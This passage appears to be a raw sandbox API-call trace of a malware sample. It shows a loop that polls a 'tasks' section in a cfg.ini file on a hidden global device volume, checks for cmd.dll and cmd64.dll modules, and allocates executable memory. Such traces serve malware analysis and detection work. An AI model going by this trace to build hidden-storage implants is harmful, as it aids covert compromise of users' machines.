FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.461] KeLeaveCriticalRegion () [0127.461] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.461] KeEnterCriticalRegion () [0127.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.461] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.461] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.461] KeLeaveCriticalRegion () [0127.461] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.461] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.461] KeEnterCriticalRegion () [0127.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.461] ExFreePoolWithTag (P=0xfffffa80037e1bf0, Tag=0x0) [0127.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.461] KeLeaveCriticalRegion () [0127.461] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.461] ReleaseMutex (hMutex=0xf0) returned 1 [0127.461] Sleep (dwMilliseconds=0x927c0) [0127.480] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.480] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.480] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.480] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.481] KeEnterCriticalRegion () [0127.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.481] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.481] IdePortDispatch () returned 0x103 [0127.481] KeWaitForMutexObject () returned 0x0 [0127.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.481] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.481] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.481] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.481] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.481] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7280 [0127.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.481] KeLeaveCriticalRegion () [0127.481] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.481] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.481] KeEnterCriticalRegion () [0127.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.481] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.481] KeLeaveCriticalRegion () [0127.481] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.481] KeEnterCriticalRegion () [0127.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.482] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.482] IdePortDispatch () returned 0x103 [0127.482] KeWaitForMutexObject () returned 0x0 [0127.482] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.482] KeLeaveCriticalRegion () [0127.482] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.482] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.482] KeEnterCriticalRegion () [0127.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.482] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cb000 [0127.482] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.482] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.482] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.482] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.482] IdePortDispatch () returned 0x103 [0127.482] KeWaitForMutexObject () returned 0x0 [0127.483] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.483] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.483] IdePortDispatch () returned 0x103 [0127.483] KeWaitForMutexObject () returned 0x0 [0127.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.483] KeLeaveCriticalRegion () [0127.483] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.484] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.484] KeEnterCriticalRegion () [0127.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.484] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.484] KeLeaveCriticalRegion () [0127.484] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.484] KeEnterCriticalRegion () [0127.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.484] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.484] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfbe80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.484] KeLeaveCriticalRegion () [0127.484] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.484] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.484] KeEnterCriticalRegion () [0127.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.484] ExFreePoolWithTag (P=0xfffffa800c4f7280, Tag=0x0) [0127.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.484] KeLeaveCriticalRegion () [0127.484] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.484] ReleaseMutex (hMutex=0xf0) returned 1 [0127.484] Sleep (dwMilliseconds=0x927c0) [0127.491] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.491] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.498] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.498] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.499] KeEnterCriticalRegion () [0127.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.499] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.499] IdePortDispatch () returned 0x103 [0127.499] KeWaitForMutexObject () returned 0x0 [0127.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.499] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.499] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.499] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.499] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.499] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7760 [0127.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.499] KeLeaveCriticalRegion () [0127.499] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.499] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.499] KeEnterCriticalRegion () [0127.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.499] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.499] KeLeaveCriticalRegion () [0127.499] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.499] KeEnterCriticalRegion () [0127.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.500] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.500] IdePortDispatch () returned 0x103 [0127.500] KeWaitForMutexObject () returned 0x0 [0127.500] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.500] KeLeaveCriticalRegion () [0127.500] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.500] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.500] KeEnterCriticalRegion () [0127.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.500] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b16000 [0127.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.500] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.500] IdePortDispatch () returned 0x103 [0127.501] KeWaitForMutexObject () returned 0x0 [0127.501] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.501] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.501] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.501] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.501] IdePortDispatch () returned 0x103 [0127.501] KeWaitForMutexObject () returned 0x0 [0127.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.501] KeLeaveCriticalRegion () [0127.501] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.502] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.502] KeEnterCriticalRegion () [0127.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.502] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.502] KeLeaveCriticalRegion () [0127.502] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.502] KeEnterCriticalRegion () [0127.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.502] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.502] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfbe80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.502] KeLeaveCriticalRegion () [0127.502] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.502] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.502] KeEnterCriticalRegion () [0127.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.502] ExFreePoolWithTag (P=0xfffffa800c4f7760, Tag=0x0) [0127.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.502] KeLeaveCriticalRegion () [0127.502] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.502] ReleaseMutex (hMutex=0xf0) returned 1 [0127.502] Sleep (dwMilliseconds=0x927c0) [0127.513] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.513] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.513] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.513] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.513] KeEnterCriticalRegion () [0127.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.514] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.514] IdePortDispatch () returned 0x103 [0127.514] KeWaitForMutexObject () returned 0x0 [0127.514] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.514] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.514] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.514] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.514] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.514] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f78b0 [0127.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.514] KeLeaveCriticalRegion () [0127.514] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.514] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.514] KeEnterCriticalRegion () [0127.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.514] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.514] KeLeaveCriticalRegion () [0127.514] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.514] KeEnterCriticalRegion () [0127.514] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.515] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.515] IdePortDispatch () returned 0x103 [0127.515] KeWaitForMutexObject () returned 0x0 [0127.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.515] KeLeaveCriticalRegion () [0127.515] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.515] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.515] KeEnterCriticalRegion () [0127.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.515] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b19000 [0127.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.515] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.515] IdePortDispatch () returned 0x103 [0127.516] KeWaitForMutexObject () returned 0x0 [0127.516] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.516] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.516] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.516] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.516] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.516] IdePortDispatch () returned 0x103 [0127.516] KeWaitForMutexObject () returned 0x0 [0127.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.516] KeLeaveCriticalRegion () [0127.516] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.517] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.517] KeEnterCriticalRegion () [0127.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.517] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.517] KeLeaveCriticalRegion () [0127.517] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.517] KeEnterCriticalRegion () [0127.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.517] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.517] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.517] KeLeaveCriticalRegion () [0127.517] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.517] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.517] KeEnterCriticalRegion () [0127.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.517] ExFreePoolWithTag (P=0xfffffa800c4f78b0, Tag=0x0) [0127.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.517] KeLeaveCriticalRegion () [0127.517] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.517] ReleaseMutex (hMutex=0xf0) returned 1 [0127.517] Sleep (dwMilliseconds=0x927c0) [0127.536] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.536] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.536] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.536] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.536] KeEnterCriticalRegion () [0127.536] 